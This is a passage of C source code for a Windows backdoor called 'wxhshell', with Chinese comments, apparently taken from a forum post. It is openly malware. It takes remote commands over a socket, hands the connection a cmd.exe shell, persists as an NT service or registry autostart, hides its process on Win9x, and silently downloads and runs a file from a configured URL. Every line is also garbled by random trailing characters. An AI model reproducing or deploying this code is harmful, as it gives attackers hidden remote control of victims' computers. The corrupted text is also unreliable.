  @0u~?!g@  
  // 帮助 hK,Sf ;5V  
  case '?': { dKxyA"@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gvr@|{k  
    break; ~15N7=wCM  
  } ~"kb7Fxp  
  // 安装 < RH UH)I  
  case 'i': { @-!}BUs?  
    if(Install()) K$E3QVa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xe` </  
    else [CXrSST")E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T"DlT/\  
    break; J.xPv)1'  
    } ='Y!+  
  // 卸载 Qh'ATo  
  case 'r': { @8pp EFw  
    if(Uninstall()) +w{*Xk)4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-Ej4I~  
    else u /\EtSH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([m mPyp>L  
    break; L'0B$6  
    } 2bkX}FWd;  
  // 显示 wxhshell 所在路径 Ke2ccN  
  case 'p': { 'DL`Ee\  
    char svExeFile[MAX_PATH]; .@@?Pj?)  
    strcpy(svExeFile,"\n\r"); +>{Y.`a;Jo  
      strcat(svExeFile,ExeFile); 6&!PmKFO.  
        send(wsh,svExeFile,strlen(svExeFile),0); \Ani}qQ%|  
    break; C8V/UbA /  
    } UVd7 JGR  
  // 重启 rp!oO>F  
  case 'b': { 4O)1uF;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HiR[(5vnf  
    if(Boot(REBOOT)) HoRg^Ai?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJ CYs`y  
    else { opy("qH  
    closesocket(wsh); PE3vQH=t~  
    ExitThread(0); , P70J b  
    } <FcG oGK  
    break; =,_ +0M9  
    } QSszn`e  
  // 关机 !`,Sfqij  
  case 'd': { "NXB$a!:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [f1 (`<  
    if(Boot(SHUTDOWN)) VFURAYS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~"KA6^  
    else { 1^7hf;|#g  
    closesocket(wsh); ,D]QxbwZ  
    ExitThread(0); #t: S.A@  
    } S||}nJ0  
    break; <b`E_  
    } jY% na HaI  
  // 获取shell X\@C.H2ttY  
  case 's': { ][9%Kl*%@p  
    CmdShell(wsh); a1+#3X.  
    closesocket(wsh); 2(u,SQ  
    ExitThread(0); ?fUlgQ }N  
    break; Ay5i+)MD  
  } V'8s8H  
  // 退出 &eCa0s?mI  
  case 'x': { `.FF!P:{C*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vd 0ljA  
    CloseIt(wsh); jr /pj?  
    break; M<.d8?p )  
    } +;N2p1ZBf  
  // 离开 ]* F\"C@  
  case 'q': { aWWU4xe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TDFkxB>  
    closesocket(wsh); _wkVwPr  
    WSACleanup(); 5Iy;oZ  
    exit(1); /%}*Xh  
    break; ^S UPi  
        } oX S1QT`B  
  } l_P-j 96WD  
  } aE&,]'6  
5NS[dQG5  
  // 提示信息 ypKUkH/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h|VeG3H  
} }XV+gyG=@  
  } ]iN'x?Fo  
wQP^WzNE  
  return; V5sg#|&  
} }=gx#  
)uj Ex7&c  
// shell模块句柄 Hfw q/Is  
int CmdShell(SOCKET sock) >}`:Ac  
{ bJRN;g  
STARTUPINFO si; Szq/hv=Q  
ZeroMemory(&si,sizeof(si)); -+ SF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q|o}+Vr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y.#")IAF  
PROCESS_INFORMATION ProcessInfo; +BVym~*^  
char cmdline[]="cmd"; +$C 4\$t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 42e|LUZg  
  return 0; ^?cz,N~  
} 96 q_ K84K  
{sihus#Q  
// 自身启动模式 :3XA!o&.T3  
int StartFromService(void) k9:{9wW  
{ OMWbZ>jB  
typedef struct F~%]6^$w  
{ !>{G,\^=pT  
  DWORD ExitStatus; u.d).da  
  DWORD PebBaseAddress; GN ]cDik  
  DWORD AffinityMask;  ud xZ0  
  DWORD BasePriority; <j&DK2u=i  
  ULONG UniqueProcessId; jhXkSj  
  ULONG InheritedFromUniqueProcessId; mL{B!Q  
}   PROCESS_BASIC_INFORMATION; tZ} v%3  
E~%jX }/  
PROCNTQSIP NtQueryInformationProcess; l)Pu2!Ic  
56+s~hG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Av xfI"sp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]l1\? I  
B^j  
  HANDLE             hProcess; %MrWeYd1  
  PROCESS_BASIC_INFORMATION pbi; D2](da:]8)  
$nb[G$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J6U$qi  
  if(NULL == hInst ) return 0; ;'5>q&[qbP  
=+U `-J} g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rs,2rSsg!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lz YEx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iz8Bf;  
!G SV6  
  if (!NtQueryInformationProcess) return 0; * mOo@+89  
5jd,{<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |?qquD 4=  
  if(!hProcess) return 0; E"+QJ~!  
Sx?ua<`:d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3gv|9T  
FrTi+& <  
  CloseHandle(hProcess); 'NX```U0  
3[O=x XB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x|mqL-Q f  
if(hProcess==NULL) return 0; ptDY3n~'  
c lNkph  
HMODULE hMod; ``ou/Z  
char procName[255]; gW-V=LV (  
unsigned long cbNeeded; g=QDu7Ux  
[-\%4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `&D|>tiz  
W7U2MqQ  
  CloseHandle(hProcess); xYmxc9)2  
4<% *E{`  
if(strstr(procName,"services")) return 1; // 以服务启动 c17_2 @N  
*Eo?k<:zPm  
  return 0; // 注册表启动 ^ q<v{_  
} nHm}zOLc  
_>| =L W@7  
// 主模块 XzIl`eH  
int StartWxhshell(LPSTR lpCmdLine) -?mfE+kt  
{ cUvz2TK  
  SOCKET wsl; (+B5|_xQu  
BOOL val=TRUE; CbwJd5tk  
  int port=0; j!]YNH@  
  struct sockaddr_in door; :.$3vaZ@  
7PtN?;rP  
  if(wscfg.ws_autoins) Install(); r]b_@hT',  
 *T5!{  
port=atoi(lpCmdLine); \=6l9Lrj>h  
Zg'Q>.:  
if(port<=0) port=wscfg.ws_port; PK0%g$0  
H[S%J3JI  
  WSADATA data; prTw'~(B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }Q=!Y>Tc  
T3k#VNH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZuS0DPS`L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nv@8tdrc  
  door.sin_family = AF_INET; cVv;Jn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J/[=p<I)  
  door.sin_port = htons(port); 'H \9:7  
OH">b6>\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `/EGyN6X  
closesocket(wsl); A'jP7 P  
return 1; *a#rM"6P  
} (]Y 5eM  
L#+q]j+  
  if(listen(wsl,2) == INVALID_SOCKET) { ]%?YZn<{  
closesocket(wsl); ha(Z<  
return 1; J6L  K  
} /.Ww6a~  
  Wxhshell(wsl); iZaI_\"__  
  WSACleanup(); IE9 XU9Kd  
7z!tKs"TMT  
return 0; K }Vv4x1U  
"CUty"R 8  
} }M3fmAP}  
}Rz3<eON  
// 以NT服务方式启动 @8;W\L$~1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z; A`oKd  
{ ev#;t@^  
DWORD   status = 0; ^OstR`U3  
  DWORD   specificError = 0xfffffff; <xgTS[k  
iy14mh\ ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;K!]4tfJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m6',SY9T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2ioQb`=  
  serviceStatus.dwWin32ExitCode     = 0; 2Fq<*pxAY  
  serviceStatus.dwServiceSpecificExitCode = 0; * v75O7l  
  serviceStatus.dwCheckPoint       = 0; B:!W$ <  
  serviceStatus.dwWaitHint       = 0; 20Z8HwQi  
]K/DY Do-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~Uxsn@nLr  
  if (hServiceStatusHandle==0) return; IGtl\b=  
Mi/&f   
status = GetLastError(); UmQ?rS8d  
  if (status!=NO_ERROR) hA33K #bC  
{ k[HAkB \{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; op6CA"w  
    serviceStatus.dwCheckPoint       = 0; .R9IL-3fO  
    serviceStatus.dwWaitHint       = 0; s;64N'HH  
    serviceStatus.dwWin32ExitCode     = status; + j W1V}h  
    serviceStatus.dwServiceSpecificExitCode = specificError; DM}YJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U5He?  
    return; T)Y=zIQ1]7  
  } %YSu8G_t  
%7gkNa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -mRA#  
  serviceStatus.dwCheckPoint       = 0; H<}^'#"p  
  serviceStatus.dwWaitHint       = 0; }b0; 0j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5JLu2P  
} uvV;Mlo]  
Nqrmp" ]  
// 处理NT服务事件,比如:启动、停止 y^}6!>Ou:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mGGsB5#w>  
{ iTV) NsC}  
switch(fdwControl) d\ ~QBr?  
{ =<NljOR4`  
case SERVICE_CONTROL_STOP: R hvfC5Hq  
  serviceStatus.dwWin32ExitCode = 0; >B2q+tA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6+KHQFb&N  
  serviceStatus.dwCheckPoint   = 0; `zE}1M%y  
  serviceStatus.dwWaitHint     = 0; Ce")[<:  
  { ,i,q!M{-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hQDTS>U  
  } IrWD%/$H  
  return; bLd#xXl  
case SERVICE_CONTROL_PAUSE: 3Bx:Ntx<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mK [0L  
  break; lME)?LOI  
case SERVICE_CONTROL_CONTINUE: *r$+&8V\n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SY^dWLf  
  break; DANw1 _X\  
case SERVICE_CONTROL_INTERROGATE: `QUy;%+  
  break; %bD}m!  
}; -~QHqU.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  HC a  
} 3,Q^& 1  
{|yob4N  
// 标准应用程序主函数 zBP>jM(8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YNBHBK4;  
{ n9\]S7] 52  
m/@<c'i  
// 获取操作系统版本 &%_& 8DkG  
OsIsNt=GetOsVer(); 1& '8Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XbZ*&  
gt7VxZ  
  // 从命令行安装 AT\qiznvP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2*w:tT8+X  
]Y| 9?9d  
  // 下载执行文件 6Kj'Zy VL  
if(wscfg.ws_downexe) { \AC|?/sH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >R2SQA o  
  WinExec(wscfg.ws_filenam,SW_HIDE); XJ0oS32_wK  
} 3tmdi3s  
bLnrbid  
if(!OsIsNt) { PccB]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~6 I)|^Z  
HideProc(); ?9X&tK)E-  
StartWxhshell(lpCmdLine); LsM7hLy  
} " sgjWo6  
else tL+OCLF;  
  if(StartFromService()) \Fe_rh  
  // 以服务方式启动 0K-*WQ*#9  
  StartServiceCtrlDispatcher(DispatchTable); 4A3nO<o MF  
else 3~qR  
  // 普通方式启动 A~dQ\M  
  StartWxhshell(lpCmdLine); oiH|uIsqR  
jkF8\dR  
return 0; 1[*{(e  
}
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只看该作者 1 发表于: 2006-10-10
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